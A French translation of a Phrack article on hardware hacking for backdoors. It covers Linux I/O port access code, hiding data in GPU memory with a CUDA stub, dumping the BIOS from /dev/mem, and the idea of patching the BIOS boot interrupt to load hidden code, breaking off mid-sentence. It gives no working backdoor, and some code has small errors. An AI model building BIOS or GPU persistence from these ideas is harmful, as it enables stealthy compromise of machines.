==Phrack Inc.==
Volume 0x0c, Issue 0x40, Phile #0x0c of 0x11
|=-----------------------------------------------------------------------=|
|=------------------=[ Hacking deeper in the system ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ By scythale ]=-------------------=|
|=-------------------=[ <scythale_at_gmail_dot_com> ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|
Contents
1. Résumé
2. Une rapide introduction au système d'E/S
3. Jouer avec le GPU
4. Jouer avec le BIOS
5. Conclusion
6. Références
7. Remerciements
1. Résumé
De nos jours, on observe un nombre grandissant de papiers qui traitent du
hacking matériel. Même si les backdoors basées-matérielles sont loin d'être une
bonne solution à utiliser à l'échelle, ce sujet est très important puisque
certaines grosses entreprises planifient de prendre le contrôle de nos
ordinateurs sans notre accord en utilisant des concepts vraiment mal conçus
comme les DRM et TCPA. Comme nous devons à n'importe quel prix les empêcher de
le faire, l'heure est venue pour un petit article d'introduction au monde du
matériel...
Ce papier constitue une minuscule introduction au piratage matériel dans
une perspective d'écriture de backdoor (Ben quoi ! c'est phrack, je ne vais pas
vous expliquer comment contrôler votre machine à café via une interface RS232).
En fait, même si backdoorer le matériel n'est pas une si bonne idée, c'est une
bonne manière d'entrer dans le piratage matériel. Le but de l'auteur est de
fournir au lecteur les bases du piratage matériel qui devraient être utile pour
préparer le combat contre les TCPA et autres choses crapuleuses[crappy things]
sponsorisées par de gros [sucke]... erm... "compagnies" comme Sony et Microsoft.
Ce papier est centré sur i386. Il ne couvre aucune autre architecture, mais
il peut être utilisé comme base pour la recherche sur d'autres matériels. Donc,
gardez à l'esprit que la pluspart des choses présentées ici ne fonctionneront
pas sur une autre machine qu'un PC. Les sujet comme les périphériques, le BIOS
et le fonctionnement interne d'un PC seront discuté et quelques idées pour les
faire passer à notre avantage seront présentées.
Ce papier N'EST PAS une [ad] ni une présentation d'un l0g1c13l D14b0l1qU3,
vous n'y trouverez donc pas de backdoor complètement fonctionnelle. Le but de
l'auteur est de fournir des informations qui vous aideront à écrire vos propres
trucs, pas de vous fournir un travail déjà fait. Ce sujet n'est pas un sujet
particulièrement difficile, tout ce qu'il requiert est de l'imagination.
Pour comprendre cet article, quelques connaissances sur l'assembleur x86 et
son architecture est lourdement recommandée. Si vous êtes un nouveau de ces
sujets, je vous recommande fortement de lire "The Art od Assembly Programming'
(voir [1]).
2. Une rapide introduction au système d'E/S
Avant de creuser dans le sujet, quelques explications doivent êtres faites.
Ceux d'entre vous qui connaissent déjà comment fonctionnent les E/S sur Intel et
pourquoi elles sont peuvent passer à la section suivante. Les autres, continuez
simplement de lire.
Comme ce papier se concentre sur le matériel, il serait pratique de savoir
comment on y accède. Le système d'E/S founis ce genre d'accès. Comme tout le
monde le sait, le processeur (CPU) est le coeur, ou pour être plus juste, le
cerveau de l'ordinateur. Mais la seule chose qu'il fasse, c'est de calculer.
[Basically], un CPU ne sert à rien sans les périphériques. Les périphériques
fournissent les données à être calculées au CPU, et lui permette de retourner
une réponse à notre requête. Le système d'E/S est utilisé pour lier la plupart
des périphériques au CPU. La façon dont le processeur voir les périphériques
basés sur E/S est presque la même que celle de voire la mémoire. En fait, tout
ce que le processeur doit faire pour communiquer avec les périphériques est de
lire et écrire des données "quelque part en mémoire" : le système d'E/S est
chargé de gérer les étapes suivantes. Le "quelque part en mémoire" est
représenté par un port d'E/S. Les ports d'E/S sont des "adresses" spéciales qui
connectent le bus de données du CPU vers les périphériques. CHaque périphérique
basé sur E/S utlise au moins un port d'E/S, beaucoup d'entre eux en utilisent
plusieurs. [Basically], la seule chose que les drivers de périphériques fait est
de manipuler les ports d'E/S (et bien, très [basically], c'est ce qu'ils font,
juste pour communiquer avec le matériel). L'architecture Intel fournis trois
façons principales pour manipuler les ports d'E/S : [memory-mapped I/O,
Input/Output mapped I/O and DMA.]
[memory-mapped I/O]
Le système [memory-mapped I/O] permet de manipuler les ports d'E/S comme si
c'était de la mémoire. Les instructions comme "mov" sont utilisées pour
s'interfacer avec lui. Le système est simple : tout ce qu'il fait est de faire
correspondre les ports d'E/S à des adresses mémoires pour que quand les données
sont lues/écrites à une de ces adresses, la données est en fait envoyée/reçue
par le périphérique connecté au port correspondant. Donc, la façon de
communiquer avec un périphérique est la même que de communiquer avec la mémoire.
[Input/Output mapped I/O]
Le système [Input/Output mapped I/O] utilise des instructions du CPU dédiées
à acceder aux ports d'E/S. Sous i386, ces instructions sont "in" et "out" :
in 254, reg ; écrit le contenu du registre reg vers le port #254
out reg, 254 ; lit les données du port #254 et les met dans reg
Le seul problème avec ces deux instruction est que le port est encodé sur 8
bits, ne permettant d'accéder qu'au ports 0 à 255. La chose embêtante est que
cette plage de port est souvant connectée au matériel interne comme l'horloge
système. La seule façon d'y [circumvent] est la suivante (pris dans "The Art of
Assembly Programming", voir [1]) :
Pour accéder aux ports d'E/S aux adresses plus hautes que 255, vous devez
charger l'adresse d'E/S 16 bits dans le registre DX et utiliser DX comme
pointeur vers l'adresse spécifiée. Par exemple, pour écrire un octet vers
l'adresse E/S $378, vous pourriez utiliser la séquence d'instruction suivante :
mov $378, dx
out al, dx
DMA
DMA signifie "Direct Memory Access" [NDT : accès direct à la mémoire]. Le
système DMA est utilisé pour améliorer les performances des périphériques vers
la mémoire. C'était il y a longtemps, la pluspart des matériels utilisaient le
CPU pour transférer les données vers et depuis la mémoire. Quand les ordinateurs
ont commencé à être "multimedia" (un terme sans plus de sens que ["people
ready"] mais qui sonne bien mieux que
"nous-sommes-en-train-de-vous-la-mettre-profond [ads]"), c'est à dire quand les
ordinateurs ont commencer à venir équipés de CD-ROM et de cartes son, les CPU ne
pouvaient plus faire des choses comem jouer de la musique tout en affichant un
flingue tirant sur un monstre juste parce que le joueur a pressé la touche
"ctrl". Donc, les constructeurs ont créé une nouvelle puce capable de
transporter ce genre de choses, et donc est né le contrôleur DMA. DMA permet aux
périphériques de transférer des données depuis et vers la mémoire avec de
petites instructions faites par le CPU. En gros, tout ce que le CPU fait, c'est
d'initier le transfert DMA et ensuite, la puce DMA s'occupe du reste, permettant
au CPU de s'occuper d'autres tâches. La chose très intéressante est que puisque
le CPU ne fait en fait pas vraiment le transfert et puisque les périphériques
sont utilisés, le mode protégé n'interfère pas, ce qui signifie qu'on peut
écrire et lire (presque) n'importe où. Cette idée est loin d'être nouvelle, et
PHC l'a déjà évoquée dans l'une de leur parodie de phrack.
Le DMA est vraiment un système puissant. Il nous permet de développer des
trucs très cools mais il faut dépenser un énorme prix : le DMA est une merde à
utiliser car il est très spécifique à l'architecture. Voici les principaux types
différents de DMA :
- Contrôleur DMA (DMA tiers [NDT : third-party DMA) : Ce système DMA est
vraiment vieux et inefficace. L'idée ici est d'avoir un controleur DMA général
sur la carte mère qui va gérer chaque opération DMA pour chaque périphérique. Ce
controleur a principalement été utilisé avec des périphériques ISA et son
utilisation est maintenant obsolette vis à vis des performances et car seul 4 ou
8 (suivant si la carte a deux DMA en cascade) transferts DMA pevent être
effectués au même moment (le contrôleur DMA ne fournis que 4 canaux).
- [DMA bus mastering (first-party DMA)] : Ce système DMA fournis de
meilleures performances que le contrôleur DMA. L'idée est de permettre à chaque
périphérique de gérer le DMA lui-même par un processus connu en tant que ["Bus
Mastering"]. Au lieu de dépendre d'un Contrôleur DMA général, chaque
périphérique est capable de prendre le contrôle du bus système pour effectuer
son transfert, permettant aux constructeurs de matériels de fournis un système
efficace pour leur périphérique.
Ces trois choses sont assez pratiques pour commencer mais les systèmes
d'exploitation modernes fournissent aussi des médias d'accès aux E/S. Comme il y
a beaucoup de systèmes sur le marché de l'informatique, je ne vous introduirait
que le système GNU/Linux, qui constitue un système parfait pour découvrir le
piratage matériel sous Intel. Comme beaucoup de systèmes, Linux fonctionne en
deux modes : user land [NDT : le mode utilisateur] et kernel land [NDT : le mode
noyau]. Puisque le mode noyau permet déjà un bon accès au système, regardons la
façon en mode utilisateur d'acceder aux E/S. Je vais vous expliquer ici deux
façons basiques de jouer avec le matériel : in*(), out*() et /dev/port :
in/out
Les instructions in et out peuvent êtr eutilisées sous linux en mode
utilisateur. [Equally], les fonctions outb(2), outw(2), outl(2), inb(2), inw(2),
inl(2) sont fournies pour jouer avec les E/S et peuvent être appellées depuis le
mode noyau ou utilisateur. Comme il est dit dans "Linux Device Drivers" (voir
[2]), leur utilisation est la suivante :
unsigned inb(unsigned port);
void outb(unsigned char byte, unsigned port);
Lit ou écrit un octet dans un port (un port de 8 bits). L'argument port est
défini comme [unsigned long] sous certaines plateformes et comme [unsigned
short] sous d'autres. Le type de retour de inb est aussi différent à travers les
architectures.
unsigned inw(unsigned port);
void outw(unsigned short word, unsigned port);
Ces fonctions accèdent à des ports 16 bits (qui prennent des mots); elles ne
sont pas disponibles quand on compile pour les platerofmes M68k et S390, qui ne
supportent que les E/S d'octets.
unsigned inl(unsigned port);
void outl(unsigned longword, unsigned port);
Ces fonctions accèdent à des ports de 32 bits. longword est soit déclaré comme
unsigned long ou unsigned int, suivant la plateforme. Comme les E/S de mots, les
E/S "longues" ne sont pas disponibles sous M68k et S390.
Notez qu'aucune opération d'E/S de ports de 64 bits n'est définie. Même sous
les architectures 64 bits, l'espace d'adresses des ports utilise un chemin de
données de 32 bits (maximum).
La seule restriction pour acceder au E/S de cette façon depuis le mode
utilisateur est d'utiliser les fonctions iopl(2) et ioperm(2), qui sont parfois
protégées par des systèmes de sécurité comme grsec. Et bien sur, vous devez être
root. Voici un exemple de code utilisant cette manière d'accéder aux E/S :
------[io.c
/*
** Juste un simple code pour voir comment jouer avec inb()/outb()
**
** utilisation :
** lire : io r <adresse port>
** * écrire : io w <adresse port> <valeur>
**
** compiler avec : gcc io.c -o io
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/io.h> /* iopl(2) inb(2) outb(2) */
void read_io(long port)
{
unsigned int val;
val = inb(port);
fprintf(stdout, "valeur : %Xn", val);
}
void write_io(long port, long value)
{
outb(value, port);
}
int main(int argc, char **argv)
{
long port;
if (argc < 3)
{
fprintf(stderr, "utilisation : io <r|w> <port> [valeur]n");
exit(1);
}
port = atoi(argv[2]);
if (iopl(3) == -1)
{
fprintf(stderr, "Ne peux pas récupérer les permissions du système I/On");
exit(1);
}
if (!strcmp(argv[1], "r"))
read_io(port);
else if (!strcmp(argv[1], "w"))
write_io(port, atoi(argv[3]));
else
{
fprintf(stderr, "utilisation : io <r|w> <port> [valeur]n");
exit(1);
}
return 0;
}
------
/dev/port
/dev/port est un fichier spécial qui vous permet d'acceder aux E/S comme si
vous manipuliez un simple fichier. L'utilisation des fonctions open(2), read(2),
write(2), lseek(2) et close(2) permettent de manipuler /dev/port. Allez
simplement à l'adresse correspondant au port avec lseek() et ensuite, read() ou
write() vers le matériel. Voici un exemple de code qui le fait :
------[port.c
/*
** Juste un simple code pour voir comment jouer avec /dev/port
**
** utilisation :
** lire : io r <adresse port>
** * écrire : io w <adresse port> <valeur>
**
** compiler avec : gcc io.c -o io
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void read_port(int fd, long port)
{
unsigned int val = 0;
lseek(fd, port, SEEK_SET);
read(fd, &val, sizeof(char));
fprintf(stdout, "valeur : %Xn", val);
}
void write_port(int fd, long port, long value)
{
lseek(fd, port, SEEK_SET);
write(fd, &value, sizeof(char));
}
int main(int argc, char **argv)
{
int fd;
long port;
if (argc < 3)
{
fprintf(stderr, "utilisation : io <r|w> <port> [valeur]n");
exit(1);
}
port = atoi(argv[2]);
if ((fd = open("/dev/port", O_RDWR)) == -1)
{
fprintf(stderr, "ne peut pas ouvrir /dev/portn");
exit(1);
}
if (!strcmp(argv[1], "r"))
read_port(fd, port);
else if (!strcmp(argv[1], "w"))
write_port(fd, port, atoi(argv[3]));
else
{
fprintf(stderr, "utilisation : io <r|w> <port> [valeur]n");
exit(1);
}
return 0;
}
------
Ok, une dernière chose avant de fermer cette introduction : pour les
utilisateurs Linux qui veulent lister les ports d'E/S sur leur système, faites
juste un "cat /proc/ioports", i.e. :
$ cat /proc/ioports # liste les ports de 0000 à FFFF
0000-001f : dma1
0020-0021 : pic1
0040-0043 : timer0
0050-0053 : timer1
0060-006f : keyboard
0080-008f : dma page reg
00a0-00a1 : pic2
00c0-00df : dma2
00f0-00ff : fpu
0170-0177 : ide1
01f0-01f7 : ide0
0213-0213 : ISAPnP
02f8-02ff : serial
0376-0376 : ide1
0378-037a : parport0
0388-0389 : OPL2/3 (left)
038a-038b : OPL2/3 (right)
03c0-03df : vga+
03f6-03f6 : ide0
03f8-03ff : serial
0534-0537 : CS4231
0a79-0a79 : isapnp write
0cf8-0cff : PCI conf1
b800-b8ff : 0000:00:0d.0
b800-b8ff : 8139too
d000-d0ff : 0000:00:09.0
d000-d0ff : 8139too
d400-d41f : 0000:00:04.2
d400-d41f : uhci_hcd
d800-d80f : 0000:00:04.1
d800-d807 : ide0
d808-d80f : ide1
e400-e43f : 0000:00:04.3
e400-e43f : motherboard
e400-e403 : PM1a_EVT_BLK
e404-e405 : PM1a_CNT_BLK
e408-e40b : PM_TMR
e40c-e40f : GPE0_BLK
e410-e415 : ACPI CPU throttle
e800-e81f : 0000:00:04.3
e800-e80f : motherboard
e800-e80f : pnp 00:02
$
3. Jouer avec le GPU
Les cartes 3D sont simplement géniales, point. Quand vous installez une
telle carte dans votre ordinateur, vous ne faite pas que brancher un
périphérique qui va rendre beau vos graphismes, vous mettez aussi un
mini-ordinateur dans votre propre ordinateur. De nos jours, les cartes
graphiques ne sont plus de simples puces. Elles ont une mémoire, un processeur,
elles ont même un BIOS ! Vous pouvez apprécier PLEIN de choses avec ces petites
fonctionnalités.
Tout d'abord, considérons ce qu'est vraiment une carte 3D. Les cartes 3D
sont là pour augmenter les performances de votre ordinateur dans le rendu 3D et
pour envoyer en sortie, ce que doit afficher votre écran. Comme je l'ai dit, il
y a trois parties qui nous intéressent dans nos actions di4b0L1Qu3s :
1/ La RAM vidéo. C'est une mémoire embarquée sur la carte. Cette mémoire
est utilisée pour enregistrer la scène qui doit être affichée et pour stocker
les résultats des calculs. La pluspart des cartes de nos jours ont plus de 256Mo
de mémoire, ce qui nous fournis une chouette place pour stocker nos affaires.
2/ L'unité de calcul graphique [NDT : Graphical Processing Unit - GPU].
Elle constitue le processeur de votre carte 3D. La plupart des opérations 3D
sont mathématiques, donc la plupart des instructions du GPU calculent des maths
conçues pour le graphisme.
3/ Le BIOS. Beaucoup de périphériques incluent de nos jours leur propre
BIOS. Les cartes 3D n'y font pas exception, et leur petit BIOS peut être très
intéressant car il contient le firmware de votre carte 3D, et quand vous accédez
au firmware, et bien, vous pouvez simplement faire presque tout ce dont vous
rêvez.
Je vais vous donner des idées de ce qu'on peut faire avec ces trois
éléments, mais d'abord, nous devons savoir comment jouer avec la carte.
Malheureusement, comme pour jouer avec n'importe quel périphérique de votre
ordinateur, vous avez besoin des spécifications de votre matériel, et la plupart
des cartes 3D ne sont pas assez ouvertes pour faire tout ce qu'on voudrait. Mais
ce n'est pas un gros problème en lui-même puisqu'on peut utiliser une simple API
qui va discuter avec la carte pour nous. Bien sûr, ça nous empêche d'utiliser
des tours sur la carte sous certaines conditions, comme dans un shellcde, mais
une fois que vous êtes passés root et pouvez faire tout ce qui vous ferait
plaisir sur le système, ne n'est plus un problème. L'API dont je parle est
OpenGL (voir [3]), et si vous n'êtes pas encore familiez avec elle, je vous
suggère de lire le tuto sur [4]. OpenGL est une API de programmation 3D définie
par l'OpenGL Architecture Review Board qui est composé de membre beaucoup des
vendeurs graphiques important de l'industrie. Cette librairie est souvent
fournie avec vos drivers et en l'utilisant, vous pouvez développer facilement du
code portable qui utilisera les fonctionnalités de la carte 3D présente.
Puisque nous savons maintenant communiquer avec la carte, regardons plus
profondément dans cette pièce de matériel. Les GPU sont utilisées pour
transformer un environnement 3D (la scène) fournie par le programmeur en une
image 2D (votre écran). Grosso modo, un GPU est un pipeline de calcul appliquant
diverses opérations mathématiques sur les données. Je n'introduit pas ici le
processus complet de transformation d'une scène 3D en écran 2D car ce n'est pas
le sujet de ce papier. Dans notre cas, tout ce que nous devons savoir sont les
choses suivantes :
1/ Le GPU est utilisé pour transformer l'entrée (généralement une scène 3D
mais rien ne nous empêche de lui donner autre chose)
2/ Ces transformations sont faite en utilisant des opérations mathématiques
utilisées courrament en programmation graphique (et encore une fois, rien ne
nous empêche d'utiliser ces opérations dans un autre but)
3/ Le pipeline est composé de deux calculs principaux, chacun impliquant
plusieurs étapes de transformation des données :
- Transformation et Lumières : cette étape traduit les objets 3D en
réseau 2D de polygones (généralement des triangles), générant un rendu en "fil
de fer".
- Rastérisation : Cette étape prend le rendu en fil de fer en entrée et
calcul les valeurs des pixels à afficher à l'écran.
Regardons ce qu'on peut faire avec toutes ces fonctionnalités. Ce qui nous
intéresse ici est de cacher des données là où il devrait être difficile de les
trouver et d'exécuter des instruction en dehors du processeur de l'ordinateur.
Je ne vous parlerai pas de patcher le firmware des cartes 3D car ça demande un
énorme reverse engineering et car c'est très spécifique à chaque carte, ce qui
n'est pas le sujet de ce papier.
Considérons d'abord l'exécution d'instructions. Bien sûr, puisque nous
jouons avec une carte 3D, nous ne pouvons pas faire tout ce qu'on peut avec un
processeur d'ordinateur comme lancer des interruptions logiciells, faires des
opérations d'E/S ou manipuler la mémoire, mais nous pouvons faire plein
d'opérations mathématiques. Par exemple, on peut chiffrer et déchiffrer des
données avec le processeur de carte 3D qui pourra rendre la tâche du reverse
engineering assez pénible. On peut aussi accélérer les programmes qui se bases
sur des opérations mathématiques lourdes. Ce genre de choses ont déjà largement
été faites. En fait, des gens prennent déjà du fun à utiliser les GPU pour
diverses applications (voir [5]). L'idée ici est d'utiliser le GPU pour
transformer les données que nous lui aurions données. Les GPU fournissent des
petits programmes appellés "shaders". Vous pouvez voir les shaders comme des
détournement programmables dans le GPU qui vous permettent d'ajouter vos propres
procédures dans le processus de transformation des données. Ces détournements
peuvent être déclanchés dans deux endroits du pipeline de calculs, en fonction
du shader que vous utilisez. Traditionnellement, les shaders sont utilisés par
les programmeurs pour ajouter des effets spéciaux sur le processus de rendu, et
comme le processus de rendu est fait de deux étapes, le GPU fournis des shaders
programmables. Le premier shader est appellé "Vexter shader". Il est utilisé
pendant l'étape de transformation et lumières. Le deuxième s'appelle "Pixel
shader" et est utilisé pendant le processus de rastérisation.
Ok, maintenant, on a deux points d'entrées dans le système du GPU, mais ça
ne nous dis toujours pas comment développer et injecter nos procédures. Encore
une fois, puisque nous sommes en train de jouer dans le monde du matériel, il y
a différentes manières de le faire, en fonction du matériel et du système sur
lequel on tourne. Les shaders utilisent leur propre langage de programmation,
certains sont de niveau quasi assembleur, d'autre sont de plus de haut niveau,
style C. Les trois langages principaux utilisés de nos jours sont de haut
niveaux :
- High-Level Shader Language (HLSL) : ce langage est fournis avec l'API
DirectX de Microsoft, vous devez donc avoir MS Windows pour l'utiliser (voir
[6])
- OpenGL Shading Language (GLSL or GLSlang) : ce langage est fournis avec
l'API OpenGL (voir [7])
- Cg : ce langage a été introduit par NVIDIA, pour programmer sur leur
matériels en utilisant soit l'API DirectX ou l'API OpenGL. Cg vient avec un
toolkit complet distribué par NVIDIA gratuitement (voir [8] et [9]).
Maintenant que nous savons comment programmer les GPU's, considérons la
partie la plus intéressante : la planque de données. Comme je l'ai dit, les
cartes 3D sont fournis avec une chouette quantité de mémoire. Bien sûr, cette
mémoire a un but graphique mais rien ne nous empêche d'y stocker queqlues trucs.
En fait, avec l'aide des shaders, on peut même demander à la carte 3D de stocker
et chiffrer nos données. C'est assez facile à faire : on met nos données à
l'entrée du pipeline, on programme le shader pour décider comment stocker et
chiffrer et c'est bon. Ensuite, récupérer les données est presque la même
opération : on demande au shader de déchiffrer et renvoyer les données vers
nous. Notez que ce chiffrement est très faible, puisqu'on ne se base que sur le
calcul du shader et puisque le processus de chiffrement et déchiffrement peut
être inversé en regardant simplement à la programamtion du shader dans votre
code, mais ça peut constituer une façon efficace d'améliorer des trucs déjà
existants (un Shiva basé sur carte 3D peut être fun).
Ok, nous pouvons donc maintenant commencer à coder des trucs qui tirent
avantage de nos cartes 3D. Mais attendez ! On a pas envie de s'emmerder avec les
shaders, ni à apprendre la programmation 3D, on veut juste faire exécuter notre
code sur le périphérique pour pouvoir tester rapidement ce qu'on peut faire avec
ces périphériques. Apprendre la programmation des shaders est importante parce
qu'elle permet de mieux comprendre le périphérique mais ça peut être vraiment
long pour les personnes non familières du monde 3D. Récement, nVIDIA a publié un
SDK permettant aux programmeurs d'utiliser facilement les périphériques 3D pour
autre chose que les graphismes. nVIDIA CUDA (voir [10]) est un SDK permettant
aux programmeurs d'utiliser le langage C avec de nouveaux mot clefs qui disent
au compilateur quelle partie du code devrait être exécutée sur le périphérique
et laquelle sur le CPU. CUDA vient aussi avec des librairies mathématiques
variées.
Voici un code amusant pour illustrer l'utilisation de CUDA :
------[ 3ddb.c
/*
** 3ddb.c : un programme très simple pour stocker un tableau dans
** la mémoire GPU et lui faire "chiffrer". Compilez-le avec nvcc.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <cutil.h>
#include <cuda.h>
/*** GPU code and data ***/
char * store;
__global__ void encrypt(int key)
{
/* Faite le chiffrement que vous */
/* voulez ici et mettez le résultat */
/* dans "store" (vous deviez */
/* le code du CPU si la taille du */
/* texte chiffré est différente de */
/* celle du texte clair). */
}
/*** end of GPU code and data ***/
/*** CPU code and data ***/
CUdevice dev;
void usage(char * cmd)
{
fprintf(stderr, "usage is : %s <string> <key>n", cmd);
exit(0);
}
void init_gpu()
{
int count;
CUT_CHECK_DEVICE();
CU_SAFE_CALL(cuInit());
CU_SAFE_CALL(cuDeviceGetCount(&count));
if (count <= 0)
{
fprintf(stderr, "error : could not connect to any 3D cardn");
exit(-1);
}
CU_SAFE_CALL(cuDeviceGet(&dev, 0));
CU_SAFE_CALL(cuCtxCreate(dev));
}
int main(int argc, char ** argv)
{
int key;
char * res;
if (argc != 3)
usage(argv[0]);
init_gpu();
CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1])));
CUDA_SAFE_CALL(cudaMemcpy(store,
argv[1],
strlen(argv[1]),
cudaMemcpyHostToDevice));
res = malloc(strlen(argv[1]));
key = atoi(argv[2]);
encrypt<<<128, 256>>>(key);
CUDA_SAFE_CALL(cudaMemcpy(res,
store,
strlen(argv[1]),
cudaMemcpyDeviceToHost));
for (i = 0; i < strlen(argv[1]); i++)
printf("%c", res[i]);
CU_SAFE_CALL(cuCtxDetach());
CUT_EXIT(argc, argv);
return 0;
}
------
4. Jouer avec le BIOS
Les BIOS's sont très intéressants. En fait, de petites choses ont déjà été
faites dans le domaines, et quelques trucs ont déjà été publiés. Mais
récapitulons toutes ces choses et regardons quelles trucs magnifiques on peut
faire avec cette petite puce. Tout d'abord, BIOS signifie Basic Input/Output
System. Cette puce est chargé de gérer le processus de démarrage, la
configuration bas-niveau et fournir un ensemble de fonction pour les chargeurs
d'amorçages et au système d'exploitation pendant le début du processus de
chargement. En fait, au démarrage, le BIOS prend d'abord le contrôle du système,
ensuite, il fait une paire de vérifications, ensuite, il met une IDT [NDT :
table des interruptions - Interrupt Description Table] pour fournir des
fonctionnalités via les interruptions et enfin, essaye de charger le chargeurs
d'amorçage dans chaque périphérique bootable, suivant sa configuration. Par
exemple, si vous spécifier dans votre setup BIOS de d'abord essayer de démarrer
sur le périphérique optique et ensuite sur le disque dur, au démarrage, le BIOS
va d'abord essayer de lancer un OS du CD, et ensuite, du disque dur. Le code du
BIOS est le tout premier à être exécuté sur le système. Le truc intéressant est
que le backdoorer nous donne virtuellement un contrôle profond sur le système et
une façon pratique de contourner presque tous les systèmes de sécurité qui
fonctionne sur la cible, puisque nous exécutons notre code avant-même que le
système ne démarre ! Mais l'inconvénient de tout ça est gros : puisqu'on joue
avec le matériel, la portabilité devient un très gros problème.
La première chose que vous avez besoin de savoir pour jouer avec le BIOS est
qu'il y a plusieurs manière de le faire. Quelques publications réellement bonnes
(voir [11]) ont été faites sur le sujet, mais je me focaliserai sur ce qu'on
peut faire quand on a modifié la ROM qui contient le BIOS.
Le BIOS est stocké dans une puce sur votre carte mère. Les vieux BIOS's
n'étaient que de simples ROM's sans possibilités d'écritures, mais ensuite,
certains fabricants ont eu l'idée brillante de permettre des modifications du
BIOS. Ils introduisirent le flasher de BIOS, qui est un petit périphérique avec
lequel on peut communiquer via le système d'E/S. Le flasher peut lire et écrire
le BIOS pour nous, ce qui est tout ce dont on a besoin pour jouer avec. Bien
sûr, puisqu'il y a plein de BIOS différents dans la nature, je ne vous
introduirai pas une puce particulière. Voici quelques pointeurs qui vous y
aideront :
* [12] /dev/bios est un outil de l'initiative OpenBIOS (voir [13]). C'est
un module noyau pour Linux qui crée un périphérique pour manipuler facilement
des BIOS's divers. Il peut accéder à plusieurs BIOS's, dont les BIOS's des
cartes réseaux. C'est un chouette outil à utiliser et le code est agréable, vous
pourrez donc voir comment faire fonctionner vos trucs.
* [14] est un guide MERVEILLEUX qui vous explique presque tous sur les
BIOS's Award. Ce papier doit être lu pour n'importe qui intéressé dans le sujet,
même si vous n'avez pas de BIOS Award.
* [15] est un site web intéressant pour trouver des informations sur des
BIOS variés.
Pour pouvoir commencer facilement et rapidement, nous allons utiliser une
machine virtuelle, qui est très pratique pour tester vos concepts avant de peter
votre BIOS. Je vous recommande d'utiliser Bochs (voir [16]) car il est libre et
open-source et principalement parce qu'il vient avec un code source très bien
commenté utilisé pour émuler un BIOS. Mais d'abord, regardons comment le BIOS
fonctionne réellement.
Comme je l'ai dit, le BIOS est la première entité qui a le contrôle sur
votre système au démarrage. Le truc intéressant est que, pour commencer à
reverse engineerer votre BIOS, vous n'avez même pas besoin d'utiliser le
flasher. Au démarrage, le code du BIOS est copié en RAM à un endroit spécifique
et utilise une plage de mémoire spécifique. Tout ce que nous avons à faire pour
lire ce code, qui est de l'assembleur 16-bits, et de lire la mémoire. La zone
mémoire du BIOS commence à 0xf0000 et finis à 0x100000. Une façon simple de
copier le code est de faire simplement la chose suivante :
% dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040
% objdump -b binary -m i8086 -D BIOS.dump
Vous devriez noter que le BIOS contient des données, une telle copie n'est
pas précise car vous aurez un décallage qui empêchera le code d'être désassemblé
correctement. Pour gérer ce problème, vous devriez utiliser la table des points
d'entrées fournie plus loin et utiliser objdump avec l'option "--start-address".
Bien sûr, le code que vous allez voir en mémoire n'est jamais facile à
récupérer dans la puce, mais le fait que vous puissiez récuperer un truc du
genre "texte déchiffré" peut vous aider beaucoup. Pour commencer à voir ce qui
est intéressant dans ce code, regardons à un commentaire très intéressant dans
le code source du BIOS Bochs (dans [17] :
30 // ROM BIOS compatability entry points:
31 // ===================================
32 // $e05b ; POST Entry Point
33 // $e2c3 ; NMI Handler Entry Point
34 // $e3fe ; INT 13h Fixed Disk Services Entry Point
35 // $e401 ; Fixed Disk Parameter Table
36 // $e6f2 ; INT 19h Boot Load Service Entry Point
37 // $e6f5 ; Configuration Data Table
38 // $e729 ; Baud Rate Generator Table
39 // $e739 ; INT 14h Serial Communications Service Entry Point
40 // $e82e ; INT 16h Keyboard Service Entry Point
41 // $e987 ; INT 09h Keyboard Service Entry Point
42 // $ec59 ; INT 13h Diskette Service Entry Point
43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point
44 // $efc7 ; Diskette Controller Parameter Table
45 // $efd2 ; INT 17h Printer Service Entry Point
46 // $f045 ; INT 10 Functions 0-Fh Entry Point
47 // $f065 ; INT 10h Video Support Service Entry Point
48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh)
49 // $f841 ; INT 12h Memory Size Service Entry Point
50 // $f84d ; INT 11h Equipment List Service Entry Point
51 // $f859 ; INT 15h System Services Entry Point
52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics
(lower 128 characters)
53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point
54 // $fea5 ; INT 08h System Timer ISR Entry Point
55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST
56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler
57 // $ff54 ; INT 05h Print Screen Service Entry Point
58 // $fff0 ; Power-up Entry Point
59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY
60 // $fffe ; System Model ID
Ces offsets indiquent où trouver les fonctionnalités spécifiques du BIOS en
mémoire et, comme elles sont standardes, vous pouvez les appliquer à votre
propre BIOS aussi. Par exemple, l'interruption BIOS 19h se trouve en mémoire à
l'adresse 0xfe6f2 et sa tâche est charger le gestionnaire d'amorçage en RAM et
d'y sauter. Sur les vieux systèmes, un petit truc consistait à sauter à cette
adresse mémoire pour redémarrer le système. Mais avant de considérer des
modifications du code du BIOS, nous avons une chose à résoudre : La puce BIOS a
un espace mémoire limité, et s'il peut fournir suffisement de place pour une
backdoor basique, nous finirons vite à avoir besoin de plus de place pour
stocker du code si nous voulons faire quelque chose de sympathique. Nous avons
deux manières de le faire :
1/ On modifie le code de l'int19h pour qu'au lieu de charger le vrai
gestionnaire d'amorçage sur un périphérique spécifié, il charge notre code (qui
chargera ensuite le gestionnaire d'amorçage) à un endroit spécifique, comme un
secteur marqué comme défectueux sur un disque dur spécifique. Bien sûr, ça
implique d'altérer un autre media que le BIOS, mais, puisque ça nous fournis
presque autant de place qu'on pourrait en rêver, cette méthode doit être prise
en considération.
2/ Si vous voulez absolument jouer dans l'espace du BIOS, vous pouvez
utiliser un petit truc sur certains modèles du BIOS. Un jours, les constructeurs
de processeurs on fait un marché avec les constructeurs de BIOS. Les
constructeurs de processeurs ont décidé de donner la possibilité de mettre à
